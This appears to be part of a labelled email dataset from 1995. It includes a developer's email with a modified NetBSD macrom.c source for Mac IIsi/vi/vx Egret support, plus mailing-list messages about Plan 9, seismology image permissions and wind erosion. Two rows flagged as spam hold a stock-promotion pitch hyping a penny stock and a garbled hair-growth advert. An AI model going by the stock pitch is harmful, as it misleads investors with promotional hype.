Content-Length: 20308 Hi Allen, here comes the cleaned up version of macrom.c which (hopefully) contains only the minimal changes needed to get the Egret chip of IIsi/vi/vx running. It is based on the version of macrom.c supped on 11/june/9, the file date is 09/april/95 12:04. Changes marked DRR were made by Daniel Risacher (magnus@mit.edu). those marked WRU are by me, Walter Ruetten (walter@ghpc8.ihf.rwth-aachen.de). We had some very helpfull discussion with John Wittkoski (jpw@insoft.com), who currently works on a hardware approach to the Egret stuff. That means he speaks to the Egret chip directly via the vPB3..5 lines rather than via the MRG code. Doing this he recently found the messages to read the hardware clock and to shut down the machine! He seems to be the one who has the deepest knowledge of what the Egret chip can do. The kernel I currently work with uses this modified macrom.c. I have _not_ tested whether the changes break something on other machines. (By the way, the nubus video works again, so don't bother to look into the grf* stuff) Changes to the macrom.c found in the source tree are: 1. void mrg_lvl1dtpanic() was made silent as it is called every second by the Egret routines. Probably there should be a dummy routine just for the timer tick (accessed by a jump through address 0x019a) and the other seven jumps in the via1 fake dispatch table (Lvl1DT[]) should remain on the verbose version on mrg_lvl1dtpanic(). 2. void mrg_aline_super(struct frame *frame) Dan included a variable danprint which triggers _two_ printf("""") statement whenever the _NewPtr routine in the MacROMs is called through the traphandler (which in fact happens exactly once on my IIvi). Never ask why this works, but Dan says it won't work without these printf() statements or with only one of them. 3. void mrg_setvectors(romvec_t *rom) Some variables describing the machine are initialized to values found on the IIsi and IIvi (0x0dd0 and 0x0dd4). Some other variables in low memory are initialized to zero. (Doesn't this criple the vector table used to handle traps and so on???). At mrg_adbstore+0x184 a command word is initialized which is used very early while speaking to the Egret chip. 4. void mrg_initadbintr() If on a MACH_CLASSIIsi machine, don't fiddle with enabling interrupt, but call the routine _vSetUpTags (0x408147c0) in the MacROMs. The entry point I used (0x408147c4) avoids calling _NewPtr in the MacROMs and uses the already allocated memory mrg_adbstore2 (ADBState) instead. This routine sets up the memory in mrg_adbstore2 and enables interrupts. Should this entry point eventually be in the machine dependent vector arrays? While writing this I see that there is still some work to do. As I will be away for two week from thursday, never the less I send you these changes for further testing on older machines and perhaps to include it in the source tree if it isn't to clumsy. If further cleanup is required, please let me know. Ciao Walter --------- cut here: modified version of macrom.c for MacIIsi/vi/vx ------------ /* $NetBSD: macrom.c,v 1.3 1995/04/08 20:46:23 briggs Exp $ */ /*- * Copyright (C) 1994 Bradley A. Grantham * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Bradley A. Grantham. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Mac ROM Glue * * This allows MacBSD to access (in a limited fashion) routines included * in the Mac ROMs, like ADBReInit. * * As a (fascinating) side effect, this glue allows ROM code (or any other * MacOS code) to call MacBSD kernel routines, like NewPtr. * * Uncleaned-up weirdness, 10/6/94 * Check mrg_setvectors for IIsi stuff, and generalize the Egret * (a092) trap. Right now, I'm hardcoding it to try and make the * IIsi work. -BG */ #include #include #include ""via.h"" #include ""macrom.h"" #include #include #include /* trap modifiers (put it macrom.h) */ #define TRAP_TOOLBOX(a) ((a) & 0x800) #define TRAP_PASSA0(a) ((a) & 0x100) #define TRAP_NUM(a) (TRAP_TOOLBOX(a) ? (a) & 0x3ff : (a) & 0xff) #define TRAP_SYS(a) ((a) & 0x400) #define TRAP_CLEAR(a) ((a) & 0x200) /* Mac Rom Glue global variables */ u_char mrg_adbstore[512]; /* ADB Storage - what size does this need to be? */ u_char mrg_adbstore2[512]; /* ADB Storage - what size does this need to be? */ u_char mrg_adbstore3[512]; /* ADB Storage - what size does this need to be? */ caddr_t mrg_romadbintr = (caddr_t)0x40807002; /* ROM ADB interrupt */ caddr_t mrg_rompmintr = 0; /* ROM PM (?) interrupt */ char *mrg_romident = NULL; /* identifying string for ROMs */ /* * Last straw functions; we didn't set them up, so freak out! * When someone sees these called, we can finally go back and * bother to implement them. */ void mrg_lvl1dtpanic() /* Lvl1DT stopper */ { /* WRU950502: silence it. The timer tick coming from the Egret triggers the routine via Lvl1DT[2] (adr. 0x19a) every second. */ /* printf(""Agh! I was called from Lvl1DT!!!\\n""); Debugger(); */ } void mrg_lvl2dtpanic() /* Lvl2DT stopper */ { printf(""Agh! I was called from Lvl2DT!!!\\n""); Debugger(); } void mrg_jadbprocpanic() /* JADBProc stopper */ {printf(""Agh! Called JADBProc!\\n""); Debugger(); } void mrg_jswapmmupanic() /* jSwapMMU stopper */ {printf(""Agh! Called jSwapMMU!\\n""); Debugger(); } void mrg_jkybdtaskpanic() /* JKybdTask stopper */ {printf(""Agh! Called JKybdTask!\\n""); Debugger(); } long mrg_adbintr() /* Call ROM ADB Interrupt */ { if(mrg_romadbintr != NULL) { #if defined(MRG_TRACE) tron(); #endif /* Gotta load a1 with VIA address. */ /* ADB int expects it from Mac intr routine. */ asm("" movml #0xffff, sp@- | better save all registers! movl %0, a0 movl _VIA, a1 jbsr a0@ movml sp@+, #0xffff"" /* better restore all registers! */ : : ""g"" (mrg_romadbintr)); #if defined(MRG_TRACE) troff(); #endif } return(1); } long mrg_pmintr() /* Call ROM PM Interrupt */ { if(mrg_rompmintr != NULL) { #if defined(MRG_TRACE) tron(); #endif /* Gotta load a1 with VIA address. */ /* ADB int expects it from Mac intr routine. */ asm("" movml #0xffff, sp@- | better save all registers! movl %0, a0 movl _VIA, a1 jbsr a0@ movml sp@+, #0xffff"" /* better restore all registers! */ : : ""g"" (mrg_rompmintr)); #if defined(MRG_TRACE) troff(); #endif } return(1); } void mrg_notrap() { printf(""Aigh!\\n""); panic(""We're doomed!\\n""); } int myowntrap() { printf(""Oooo! My Own Trap Routine!\\n""); return(50); } int mrg_NewPtr() { int result = noErr; u_int numbytes; u_long trapword; caddr_t ptr; asm("" movl d1, %0 movl d0, %1"" : ""=g"" (trapword), ""=g"" (numbytes)); #if defined(MRG_SHOWTRAPS) printf(""mrg: NewPtr(%d bytes, %sclear, %ssys)"", numbytes, TRAP_SYS(trapword) ? """" : ""no "", TRAP_CLEAR(trapword) ? """" : ""no ""); #endif /* plus 4 for size */ ptr = malloc(numbytes + 4 , M_DEVBUF, M_NOWAIT); /* ?? */ /* We ignore ""Sys;"" where else would it come from? */ /* plus, (I think), malloc clears block for us */ if(ptr == NULL){ result = memFullErr; #if defined(MRG_SHOWTRAPS) printf("" failed.\\n""); #endif }else{ #if defined(MRG_SHOWTRAPS) printf("" succeded = %x.\\n"", ptr); #endif *(u_long *)ptr = numbytes; ptr += 4; } asm("" movl %0, a0"" : : ""g"" (ptr)); return(result); } int mrg_DisposPtr() { int result = noErr; caddr_t ptr; asm("" movl a0, %0"" : ""=g"" (ptr)); #if defined(MRG_SHOWTRAPS) printf(""mrg: DisposPtr(%x)\\n"", ptr); #endif if(ptr == 0){ result = memWZErr; }else{ free(ptr - 4, M_DEVBUF); } return(result); } int mrg_GetPtrSize() { int result = noErr; caddr_t ptr; asm("" movl a0, %0"" : ""=g"" (ptr)); #if defined(MRG_SHOWTRAPS) printf(""mrg: GetPtrSize(%x)\\n"", ptr); #endif if(ptr == 0){ return(memWZErr); }else return(*(int *)(ptr - 4)); } int mrg_SetPtrSize() { int result = noErr; caddr_t ptr; int newbytes; asm("" movl a1, %0 movl d0, %1"" : ""=g"" (ptr), ""=g"" (newbytes)); #if defined(MRG_SHOWTRAPS) printf(""mrg: SetPtrSize(%x, %d) failed\\n"", ptr, newbytes); #endif return(memFullErr); /* How would I handle this, anyway? */ } int mrg_PostEvent() { return 0; } /* * trap jump address tables (different per machine?) * Can I just use the tables stored in the ROMs? * *Is* there a table stored in the ROMs? * (BTW, this table is initialized for Mac II.) */ caddr_t mrg_OStraps[256] = { #ifdef __GNUC__ /* God, I love gcc. see GCC2 manual, section 2.17, */ /* ""labeled elements in initializers."" */ [0x1e] (caddr_t)mrg_NewPtr, (caddr_t)mrg_DisposPtr, (caddr_t)mrg_SetPtrSize, (caddr_t)mrg_GetPtrSize, [0x2f] (caddr_t)mrg_PostEvent, [0x77] (caddr_t)0x40807778, /* CountADBs */ (caddr_t)0x40807792, /* GetIndADB */ (caddr_t)0x408077be, /* GetADBInfo */ (caddr_t)0x408077c4, /* SetADBInfo */ (caddr_t)0x40807704, /* ADBReInit */ (caddr_t)0x408072fa, /* ADBOp */ [0x85] 0, /* PMgrOp (not on II) */ [0x92] (caddr_t)0x40814800, /* Egret */ #else #error ""Using a GNU C extension."" #endif }; caddr_t mrg_ToolBoxtraps[1024] = { [0x1a0] (caddr_t)mrg_GetResource, [0x1af] (caddr_t)mrg_ResError, }; /* handle a supervisor mode A-line trap */ void mrg_aline_super(struct frame *frame) { caddr_t trapaddr; u_short trapword; int isOStrap; int trapnum; int a0passback; u_long a0bucket, d0bucket; /* DRR */ int danprint =0; #if defined(MRG_DEBUG) printf(""mrg: a super""); #endif trapword = *(u_short *)frame->f_pc; /* DRR */ if (trapword == 0xa71e) danprint = 1; #if defined(MRG_DEBUG) printf("" wd 0x%x"", trapword); #endif isOStrap = ! TRAP_TOOLBOX(trapword); trapnum = TRAP_NUM(trapword); /* DRR begin */ if (danprint) { /* DRR - Without these print statements, ADBReInit fails */ printf(""""); printf(""""); } /* DRR end */ #if defined(MRG_DEBUG) printf("" %s # 0x%x"", isOStrap? ""OS"" : ""ToolBox"", trapnum); #endif /* Only OS Traps come to us; _alinetrap takes care of ToolBox traps, which are a horrible Frankenstein-esque abomination. */ trapaddr = mrg_OStraps[trapnum]; #if defined(MRG_DEBUG) printf("" addr 0x%x\\n"", trapaddr); #endif if(trapaddr == NULL){ printf(""unknown %s trap 0x%x, no trap address available\\n"", isOStrap ? ""OS"" : ""ToolBox"", trapword); panic(""mrg_aline_super()""); } a0passback = TRAP_PASSA0(trapword); #if defined(MRG_TRACE) tron(); #endif /* put trapword in d1 */ /* put trapaddr in a1 */ /* put a0 in a0 */ /* put d0 in d0 */ /* save a6 */ /* call the damn routine */ /* restore a6 */ /* store d0 in d0bucket */ /* store a0 in d0bucket */ /* This will change a1,d1,d0,a0 and possibly a6 */ asm("" movl %2, a1 movw %3, d1 movl %4, d0 movl %5, a0 jbsr a1@ movl a0, %0 movl d0, %1"" : ""=g"" (a0bucket), ""=g"" (d0bucket) : ""g"" (trapaddr), ""g"" (trapword), ""m"" (frame->f_regs[0]), ""m"" (frame->f_regs[8]) : ""d0"", ""d1"", ""a0"", ""a1"", ""a6"" ); #if defined(MRG_TRACE) troff(); #endif #if defined(MRG_DEBUG) printf("" bk""); #endif frame->f_regs[0] = d0bucket; if(a0passback) frame->f_regs[8] = a0bucket; frame->f_pc += 2; /* skip offending instruction */ #if defined(MRG_DEBUG) printf("" exit\\n""); #endif } /* handle a user mode A-line trap */ void mrg_aline_user() { #if 1 /* send process a SIGILL; aline traps are illegal as yet */ #else /* how to handle real Mac App A-lines */ /* ignore for now */ I have no idea! maybe pass SIGALINE? maybe put global information about aline trap? #endif } extern u_long traceloopstart[]; extern u_long traceloopend; extern u_long *traceloopptr; void dumptrace( void) { #if defined(MRG_TRACE) u_long *traceindex; printf(""instruction trace:\\n""); traceindex = traceloopptr + 1; while(traceindex != traceloopptr) { printf("" %08x\\n"", *traceindex++); if(traceindex == &traceloopend) traceindex = &traceloopstart[0]; } #else printf(""mrg: no trace functionality enabled\\n""); #endif } /* Set ROM Vectors */ void mrg_setvectors( romvec_t *rom) { if(rom == NULL) return; /* whoops! ROM vectors not defined! */ mrg_romident = rom->romident; mrg_romadbintr = rom->adbintr; mrg_rompmintr = rom->pmintr; /* mrg_adbstore becomes ADBBase */ *((unsigned long *)(mrg_adbstore + 0x130)) = (unsigned long)rom->adb130intr; /* WRU 950424: BEGIN */ /* in MacIIvi otherwise uninitialized when ADBReInit() runs */ if(current_mac_model->class == MACH_CLASSIIsi) { int i; *((unsigned long *)(0x0dd0)) = 0x0000773f; /* Egret and ADBReInit look into these */ *((unsigned long *)(0x0dd4)) = 0x000001a6; for (i=0; i<4; i++) /* some basic inits */ *((unsigned long *)(0x174 + 4*i)) = 0; *((unsigned short *)(0x216)) = 0; *((unsigned short *)(mrg_adbstore + 0x184)) = 0xff01; } /* WRU 950424: end */ /* IIsi crap */ *((unsigned long *)(mrg_adbstore + 0x180)) = 0x4081517c; *((unsigned long *)(mrg_adbstore + 0x194)) = 0x408151ea; jEgret = 0x40814800; mrg_OStraps[0x77] = rom->CountADBs; mrg_OStraps[0x78] = rom->GetIndADB; mrg_OStraps[0x79] = rom->GetADBInfo; mrg_OStraps[0x7a] = rom->SetADBInfo; mrg_OStraps[0x7b] = rom->ADBReInit; mrg_OStraps[0x7c] = rom->ADBOp; mrg_OStraps[0x85] = rom->PMgrOp; mrg_OStraps[0x51] = rom->ReadXPRam; #if defined(MRG_DEBUG) printf(""mrg: ROM adbintr 0x%08x\\n"", mrg_romadbintr); printf(""mrg: ROM pmintr 0x%08x\\n"", mrg_rompmintr); printf(""mrg: OS trap 0x77 (CountADBs) = 0x%08x\\n"", mrg_OStraps[0x77]); printf(""mrg: OS trap 0x78 (GetIndADB) = 0x%08x\\n"", mrg_OStraps[0x78]); printf(""mrg: OS trap 0x79 (GetADBInfo) = 0x%08x\\n"", mrg_OStraps[0x79]); printf(""mrg: OS trap 0x7a (SetADBInfo) = 0x%08x\\n"", mrg_OStraps[0x7a]); printf(""mrg: OS trap 0x7b (ADBReInit) = 0x%08x\\n"", mrg_OStraps[0x7b]); printf(""mrg: OS trap 0x7c (ADBOp) = 0x%08x\\n"", mrg_OStraps[0x7c]); printf(""mrg: OS trap 0x7c (PMgrOp) = 0x%08x\\n"", mrg_OStraps[0x85]); #endif } /* To find out if we're okay calling ROM vectors */ int mrg_romready( void) { return(mrg_romident != NULL); } extern unsigned long IOBase; extern volatile unsigned char *sccA; /* initialize Mac ROM Glue */ void mrg_init() { int i; char *findername = ""MacBSD FakeFinder""; caddr_t ptr; caddr_t *handle; int sizeptr; extern short mrg_ResErr; if(mrg_romready()){ printf(""mrg: '%s' rom glue"", mrg_romident); #if defined(MRG_TRACE) #if defined(MRG_FOLLOW) printf("", tracing on (verbose)""); #else /* ! defined (MRG_FOLLOW) */ printf("", tracing on (silent)""); #endif /* defined(MRG_FOLLOW) */ #else /* !defined(MRG_TRACE) */ printf("", tracing off""); #endif /* defined(MRG_TRACE) */ #if defined(MRG_DEBUG) printf("", debug on""); #else /* !defined(MRG_DEBUG) */ printf("", debug off""); #endif /* defined(MRG_DEBUG) */ #if defined(MRG_SHOWTRAPS) printf("", verbose traps""); #else /* !defined(MRG_SHOWTRAPS) */ printf("", silent traps""); #endif /* defined(MRG_SHOWTRAPS) */ }else{ printf(""mrg: kernel has no ROM vectors for this machine!\\n""); return; } printf(""\\n""); #if defined(MRG_DEBUG) printf(""mrg: start init\\n""); #endif /* expected globals */ ADBBase = &mrg_adbstore[0]; ADBState = &mrg_adbstore2[0]; ADBYMM = &mrg_adbstore3[0]; MinusOne = 0xffffffff; Lo3Bytes = 0x00ffffff; VIA = (caddr_t)Via1Base; MMU32Bit = 1; /* ?means MMU is in 32 bit mode? */ if(TimeDBRA == 0) TimeDBRA = 0xa3b; /* BARF default is Mac II */ if(ROMBase == 0) ROMBase = (caddr_t)0x40800000; /* BARF default is Mac II */ strcpy(&FinderName[1], findername); FinderName[0] = (u_char) strlen(findername); #if defined(MRG_DEBUG) printf(""After setting globals\\n""); #endif /* Fake jump points */ for(i = 0; i < 8; i++) /* Set up fake Lvl1DT */ Lvl1DT[i] = mrg_lvl1dtpanic; for(i = 0; i < 8; i++) /* Set up fake Lvl2DT */ Lvl2DT[i] = mrg_lvl2dtpanic; Lvl1DT[2] = (void (*)())mrg_romadbintr; Lvl1DT[4] = (void (*)())mrg_rompmintr; JADBProc = mrg_jadbprocpanic; /* Fake JADBProc for the time being */ jSwapMMU = mrg_jswapmmupanic; /* Fake jSwapMMU for the time being */ JKybdTask = mrg_jkybdtaskpanic; /* Fake jSwapMMU for the time being */ jADBOp = (void (*)())mrg_OStraps[0x7c]; /* probably very dangerous */ mrg_VIA2 = (caddr_t)(Via1Base + VIA2 * 0x2000); /* see via.h */ SCCRd = (caddr_t)(IOBase + sccA); /* ser.c ; we run before serinit */ switch(mach_cputype()){ case MACH_68020: CPUFlag = 2; break; case MACH_68030: CPUFlag = 3; break; case MACH_68040: CPUFlag = 4; break; default: printf(""mrg: unknown CPU type; cannot set CPUFlag\\n""); break; } #if defined(MRG_TEST) printf(""Allocating a pointer...\\n""); ptr = (caddr_t)NewPtr(1024); printf(""Result is 0x%x.\\n"", ptr); sizeptr = GetPtrSize((Ptr)ptr); printf(""Pointer size is %d\\n"", sizeptr); printf(""Freeing the pointer...\\n""); DisposPtr((Ptr)ptr); printf(""Free'd.\\n""); for(i = 0; i < 500000; i++) if((i % 100000) == 0)printf("".""); printf(""\\n""); mrg_ResErr = 0xdead; /* set an error we know */ printf(""Getting error code...\\n""); i = ResError(); printf(""Result code (0xdeadbaaf): %x\\n"", i); printf(""Getting a Resource...\\n""); handle = GetResource('ADBS', 2); printf(""Handle result from GetResource: 0x%x\\n"", handle); printf(""Getting error code...\\n""); i = ResError(); printf(""Result code (-192?) : %d\\n"", i); for(i = 0; i < 500000; i++) if((i % 100000) == 0)printf("".""); printf(""\\n""); #if defined(MRG_TRACE) printf(""Turning on a trace\\n""); tron(); printf(""We are now tracing\\n""); troff(); printf(""Turning off trace\\n""); dumptrace(); #endif /* MRG_TRACE */ for(i = 0; i < 500000; i++) if((i % 100000) == 0)printf("".""); printf(""\\n""); #endif /* MRG_TEST */ #if defined(MRG_DEBUG) printf(""after setting jump points\\n""); printf(""mrg: end init\\n""); #endif } void mrg_initadbintr() { int i; /* WRU 950611 begin */ if(current_mac_model->class == MACH_CLASSIIsi) { /* _vSetupTags initializes ADBState (mrg_ADBStore2) and enables interrupts */ asm("" movml a0-a2, sp@- movl 0x0de0, a0 /* ADBState, mrg_ADBStore2 */ jbsr 0x408147c4 /* _vSetUpTags + 0x04 avoids calling _NetPtr */ movml sp@+, a0-a2 ""); } else { via_reg(VIA1, vIFR) = 0x4; /* XXX - why are we setting the flag? */ via_reg(VIA1, vIER) = 0x84; /* enable ADB interrupt. */ } /* WRU 950611 end */ } ---------- end of: modified version of macrom.c for MacIIsi/vi/vx ------------ -- EMail: walter@ghpc8.ihf.rwth-aachen.de | SnailMail: Walter Ruetten _o Turmstr. 190 Phone: ++49 241 807945 _`\\_<, 52064 Aachen Fax : ++49 241 8888213 (*)/'(*) Germany ""History --- an agreeable set of untruths"" -- Powhiri Rika-Heke",0,1 bardet@rccg01.usc.edu,John Louie ,"Wed, 26 Apr 1995 00:37:17 -0700",Re: Permission to use images in Kobe report?,"John, In response to your message, > I am an Assoc. Prof. of Seismology at the Univ. of >Nevada, Reno. I would like to know if you can give me >permission to use images from your report on Kobe in either >of the following ways: > >1) Show the images to classes during undergraduate and >graduate lectures in Geology and Geophysics; and/or > >2) Make these lectures, including your images, available >to the public at our WWW site http://www.seismo.unr.edu . > >Of course I will include proper credit, as you specify. you are welcome to use the images of our report to Kobe. Yours sincerely, Jean-Pierre Bardet Civil Engineering Department University of Southern California Los Angeles CA 90089-2531 Tel: (213) 740-0608 Fax: (213) 744-1426 ",0,1 une@pisr.gsi-mc.go.jp,louie@quake.seismo.unr.edu,"Thu, 27 Apr 1995 16:46:14 +0900",Re: Permission to use images?,"Dear Dr. John N. Louie, I read your mail. Thank you for your proposal to use our data in your lecture. We of course agree to your request 1); >1) May I show these images to students during lectures in Geology >and Geophysics at the University? Regarding to 2); >2) May I make these lectures, including copies of your images, >available to the public at the Nevada Seismological Laboratory's >world-wide web site http://www.seismo.unr.edu ? I ask you to add a sentence meaning ""analyzed by the Geographical Survey Institute of Japan and the National Space Development Agency of Japan"" (for SAR images) or ""taken by the Geographical Survey Institute of Japan"" (for aerial photos) on your copies of our images. Thank you, Hiroshi UNE Information Systems Division, Geographical Survey Institute une@pisr.gsi-mc.go.jp tel:+81-298-64-4690 fax:+81-298-64-1658 ",0,1 une@pisr.gsi-mc.go.jp,louie@quake.seismo.unr.edu,"Fri, 28 Apr 1995 11:03:01 +0900",Re: Re: Permission to use images?,"Dear Dr. John Louie, Thank you for your information. I watched your lecture. I would like you to correct as follows; the Geographical Studies Institute > the Geographical Survey Institute (2 parts) taken a within a few weeks of the event. > taken within a few days of the event. (The photo was taken on 18th Jan. = the next day of the event.) Thank you, Hiroshi UNE Information Systems Division, Geographical Survey Institute une@pisr.gsi-mc.go.jp tel:0298-64-4690 fax:0298-64-1658 ",0,0 Jim Davis ,9fans,"Wed, 03 May 1995 16:29:36 -0400",comp.os.plan9 RFD posted.,"The news.announce.newgroups moderator has posted the Request For Discussion for comp.os.plan9. I've appended it below. This is the first part of the newsgroup creation procedure: the voting guidelines call for a 21-day ""discussion"" period after the RFD appears, and then a Call For Votes on the proposal, which is when the voting begins. The people who run votes are still backlogged, though there's a good chance the backlog will be gone in 21 days. I'll keep an eye on news.groups and try to answer any questions about, or objections to, the RFD, and I'll keep the mailing list informed about any developments. If you support the newsgroup proposal, then it would be a good thing to post to that effect on news.groups! REQUEST FOR DISCUSSION Group name: comp.os.plan9 Status: moderated Distribution: worldwide Summary: Discussion of the Plan 9 operating system. Proposed by: Jim Davis This is a request for discussion (RFD) about creating a new moderated Usenet newsgroup, comp.os.plan9. This RFD will be cross-posted to news.announce.newgroups,news.groups,comp.os.research,comp.os.misc, and the Plan 9 mailing list <9fans@cse.psu.edu>. Please post any responses to this message in news.groups; Follow-ups have been set accordingly. CHARTER comp.os.plan9 is a moderated newsgroup for discussion of the Plan 9 operating system from Bell Labs. It's a forum to ask questions and share information about installing, administering, and using Plan 9 systems. The newsgroup will be bidirectionally gatewayed with the Plan 9 mailing list <9fans@cse.psu.edu> RATIONALE Plan 9 is a computing system developed at the Computing Science Research Center of AT&T Bell Laboratories. First released in 1990, Plan 9 contains many innovative ideas but is robust enough for production use. There is an active Plan 9 mailing list with several hundred readers. Past releases of Plan 9 could only be licensed by universities. The next release will be available to anyone, and run on a wide range of PCs. This will make running Plan 9 an option for many Usenet readers. A Plan 9 newsgroup would let Plan 9 users help each other, and let anyone interested in current operating system practice learn about Plan 9. MODERATION POLICY Icarus Sparry has volunteered to be moderator; Tim Goodwin has volunteered to be backup moderator. Both are participants on the Plan 9 mailing list. Moderation is intended to keep discussion on charter topics, which we hope will encourage the Plan 9 developers to participate.",0,0 Tom Lightbody ,9fans,"Wed, 03 May 1995 21:52:10 -0400",help," add to list tpl@ces.cwru.edu ",0,0 Rosie Guidry ,luisa@zingg.weru.ksu.edu,"Thu, 04 May 1995 05:42:36 -0100",Financial Market Trader daily news,"Infinex Ventures Inc. (INFX) Current Price: 0.75 Is this an Undiscovered Gem that is Positioned to Go Higher? Pleasee R e a d the Following Announcement in its Entirety and Consider the Possibilities... Watch This One Trade tomorrow! COMPANY OVERVIEW Aggressive and energetic, Infinex boasts a dynamic and diversified portfolio of operations across North America, with an eye on international expansion. Grounded in natural resource exploration, Inifinex also offers investors access to exciting new developments in the high-tech sector and the booming international real estate market. Our market based experience, tenacious research techniques, and razor sharp analytical skills allow us to leverage opportunities in emerging markets and developing technologies. Identifying these opportunities in the earliest stages allows us to accelerate business development and fully realize the company▓s true potential. Maximizing overall profitability and in turn enhancing shareholder value. Current Press Release Infinex Announces Joint Venture and Option Agreement Extension LAS VEGAS, May 5 /PRNewswire-FirstCall/ - Infinex Ventures Inc. (IFNX:OB - ""the Company"") and its Board of Directors are please to announce that the Company has been granted an extension of 120 days to fulfill its contractual obligations under the Joint Venture and Option Agreement dated June 14, 2004 on the Texada Island ""Yew Gr0up"" Mining Claims: Yew Tenure Number 399712 2. Yew 2 Tenure Number 516724 3. Yew 3 Tenure Number 399714 4. Yew 4 Tenure Number 399715 5. Yew 5 Tenure Number 516721 6. Yew 6 Tenure Number 516735 7. Yew 7 Tenure Number 345340 8. Yew 8 Tenure Number 516730 The Yew Claims are located on Texada Island, B.C. This region has a long history of mining dating back to 1876. Several high grade copper gold skarns were mined in the area. The geology of the Yew Claims can be found in MINFILE 092F/516. ",1,0 Ted Zobeck ,Multiple recipients of list ,"Fri, 05 May 1995 11:01:42 -0500",Re: Wind Erosion Discussion,"Dear Wind_Erosion List Member: I would like to welcome the new members to the list. This list is only as active as the list members wish it to be. Please feel free to ask any questions or start any discussions that you may find interesting. Many times questions are answered directly to the person making the request. It might be helpful to send answers to questions directly to the list so other members might also benefit from your knowledge. If you are interested in reading past messages simply get a listing of the archived files and read them. To get a list of the archived files send the following message {index wind_erosion} (without brackets) to listproc@unicorn.acs.ttu.edu After you receive the list of archived files send the command: {get wind_erosion 9504} where 9504 is the name of the archived file. Remember to send a message to the entire list membership you email to: wind_erosion@unicorn.acs.ttu.edu Cheers, Ted Zobeck tzobeck@lubbock.ars.ag.gov ",0,0 Laila Winkle ,"bobbi@zingg.weru.ksu.edu, dale@zingg.weru.ksu.edu, meredith@zingg.weru.ksu.edu, stefanie@zingg.weru.ksu.edu, caitlin@zingg.weru.ksu.edu","Thu, 11 May 1995 06:52:11 -0500",revilatizes your hair/nail growth,"on atlantes may quadrant try fugue or imperceivable the bunkmate ",1,0 Ted Zobeck ,Multiple recipients of list ,"Thu, 11 May 1995 11:31:45 -0500",Re: Facilities Questionnair,"Dear collegues, It is now 3 months ago that I sent my questionnaire about aeolian research facilities to more than 300 people (and institutes) all over the world. If anyone of you who wants to co-operate did not yet receive a copy, contact me right now. I thusfar received about 40 responses. Not too much, but the great majority will yet response I hope. Some of you seem to be very well equipped, and others seem to be very poor... But not in scientific knowledge I'm sure. Thanks to all those who already responded. Dirk Goossens Lab. for Experimental Geomorphology Redingenstraat 16 bis B-3000 Leuven Belgium e-mail: Dirk.Goossens@fgk.geo.kuleuven.ac.be ",0,0 Ted Zobeck ,Multiple recipients of list ,"Thu, 11 May 1995 11:32:43 -0500",Re: Job Announcement,"Hello there! The following position is now available. Please pass this on to anyone interested. Thanks. Cheers, Ted ******************************************** Physical Scientist Position Available Postdoctoral Research Associate, USDA, Agricultural Research Service Wind Erosion Research Unit, Cropping Systems Research Laboratory, Lubbock, TX. The United States Department of Agriculture, Agricultural Research Service is seeking a PHYSICAL SCIENTIST to (1) develop reliable methods of sampling and analysis of airborne dust from agricultural source areas; (2) establish a long-term fine dust monitoring program (3) develop methods of identifying source areas using chemical, biological, and physical dust characteristics. Initial appointment for 2 years (salary approximately $35,578). Previous experience in an aerosol research program and/or experience in aerosol sampling and analysis desirable. Successful candidate must have obtained a Ph.D. within the last 4 years. For further information on the research program/position and information contact Dr. Ted Zobeck at +1-806-746-5353; FAX +1-806- 744-4402; or e-mail tzobeck@lubbock.ars.ag.gov. Send a resume; one page abstract of PhD dissertation; list of publications, awards, or honors; specific information on how you meet the job qualifications; names and addresses of three people from whom letters of recommendation may be requested; and transcripts to : Dr. Ted M. Zobeck Wind Erosion Research USDA, Agricultural Research Service Rt. 3, Box 215 Lubbock, TX 79401 The position will be open until a suitable candidate is found. The USDA is an equal opportunity employer. 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Thanks, forrest _____________________________________________________________ Forrest Howard fhoward@us.oracle.com Architect, New Media Division 415.506.6386 500 Oracle Parkway, Box 659503 Redwood Shores, CA 94065 ",0,0 Amos Shapir ,9fans,"Tue, 16 May 1995 02:45:17 -0400",Anybody home??,"There's been no activity on the mailing list since the newsgroup discussion. Has someone decided to drop the list already? (I'll refrain from asking about the new release...) Amos Shapir Net: amos@cs.huji.ac.il Paper: The Hebrew Univ. of Jerusalem, Dept. of Comp. Science. Givat-Ram, Jerusalem 91904, Israel Tel: +972 2 585706,586950 GEO: 35 11 46 E / 31 46 21 N ",0,0 Howard Levy ,9fans@cs.psu.edu,"Tue, 16 May 1995 17:53:21 -0400",Please add me to your list," Please add me to the subscription list for 9fans@cs.psu.edu. Thanks, Howard ",0,0 eguttman@peerlogic.com,9fans,"Wed, 17 May 1995 13:20:40 -0400",where can I find...," I would like to read the specification for the IL protocol. Where can I find it? More generally, are the most recent documents, papers, manuals and specifications all collected in one place by the plan 9 team? Thanks very much, Erik Guttman Peerlogic, Inc. ",0,0 philw@plan9.att.com,9fans,"Wed, 17 May 1995 14:01:29 -0400",re: where can I find...,"There is an IL paper in Volume 2 of the new manuals. The new manuals will become available on the net when the books are released. ",0,0 Scott Schwartz ,Plan 9 Fans <9fans>,"Thu, 18 May 1995 18:51:42 -0400",,"I was just playing with ftpfs, grepping a huge file from gatekeeper.dec.com, watching the ftp cache grow and grow when my sparcstation went catatonic. Is this a bug? :-) What sort of bug report would be helpful in a case like this? ",0,0 Ted Zobeck 